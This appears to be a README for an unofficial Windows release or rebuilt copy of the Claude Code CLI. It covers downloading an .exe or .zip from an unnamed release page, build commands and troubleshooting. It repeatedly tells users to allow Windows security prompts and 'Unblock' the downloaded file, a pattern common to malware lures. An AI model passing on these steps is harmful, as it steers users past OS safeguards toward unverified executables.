Go to the release page and get the Windows build from here:
If the page shows several files, pick the Windows file that matches your system. Most users should choose the .exe or .zip file for Windows.
- Open the release page link above.
- Download the Windows file.
- If you downloaded a
.zipfile, right-click it and choose Extract All. - Open the extracted folder.
- Double-click the app file or run the command file that came with it.
- If Windows asks for permission, choose Run.
Claude Code is a local command-line app with a text-based screen. It helps you work with Claude from your computer instead of using only a web page.
You can use it to:
- start an interactive chat in a terminal window
- ask for help with code and text tasks
- view help commands
- check the app version
- run quick diagnostics
Before you run the app, make sure your PC has:
- Windows 10 or Windows 11
- an active internet connection for setup or updates
- enough free space to unpack the download
- a modern terminal app such as Windows Terminal or Command Prompt
If you plan to build it from source, you also need:
- Node.js 18 or newer
- Bun 1.x
- npm
Use the release page as your main download source:
Steps:
- Open the link.
- Find the latest release.
- Download the Windows file.
- Save it to your Downloads folder.
- Extract the file if it came as a
.zip. - Open the app from the extracted folder.
If the release contains more than one file, choose the one meant for Windows. A file with .exe is usually the easiest choice.
When you open the app for the first time:
- Wait for Windows to finish checking the file.
- If a security prompt appears, allow the app to run.
- If the app opens in a terminal window, type your command and press Enter.
- Follow the on-screen prompts.
If you see a blank window for a few seconds, give it time to finish loading.
If you want to build the app on your own computer, use these steps:
- Install Node.js 18 or newer.
- Install Bun 1.x.
- Open a terminal in the project folder.
- Run:
npm install- Then run:
npm run buildThis creates the compiled files in the dist folder.
After the build finishes, use these commands:
Interactive mode:
bun dist/entrypoints/cli.jsHelp:
bun dist/entrypoints/cli.js --helpDiagnostics:
bun dist/entrypoints/cli.js doctorVersion:
bun dist/entrypoints/cli.js --versionThis app uses text commands. That means you type a command, then press Enter.
Common actions:
- start a chat session
- ask for help with a task
- check available commands
- review system checks
If you are not sure what to type, start with the help command.
Try this after the app opens:
bun dist/entrypoints/cli.js --helpThis shows the built-in command list and basic usage.
To enter the main interactive mode:
bun dist/entrypoints/cli.jsThe main parts of this repository are:
dist/— compiled outputentrypoints/— app launch filessrc/— TypeScript source filespackage.json— build and run settings
If the app does not start, check these points:
- confirm Node.js is installed
- confirm Bun is installed
- make sure you ran
npm install - make sure the
distfolder exists after build - open the terminal in the correct folder
- try running the help command first
If Windows blocks the file:
- Right-click the file.
- Open Properties.
- Select Unblock if you see that option.
- Try again.
If the screen closes right away, open it from a terminal so you can see the message.
A release may include:
.exefiles for direct launch.zipfiles for manual extract and run- helper files for Windows users
- build assets and checksums
If you are not sure which file to use, choose the main Windows .exe or the .zip file with the app name.
This project runs from your own computer. That makes it useful for:
- local testing
- recovery work
- debugging
- learning how the CLI works
- running a rebuilt copy of the tool
- Download the release from the link above.
- Extract it if needed.
- Open the app.
- Use
--helpto learn the commands. - Use interactive mode for normal use.
- Use
doctorif something looks wrong
bun dist/entrypoints/cli.js --help
bun dist/entrypoints/cli.js doctor
bun dist/entrypoints/cli.js --version
bun dist/entrypoints/cli.jsDownload or install from: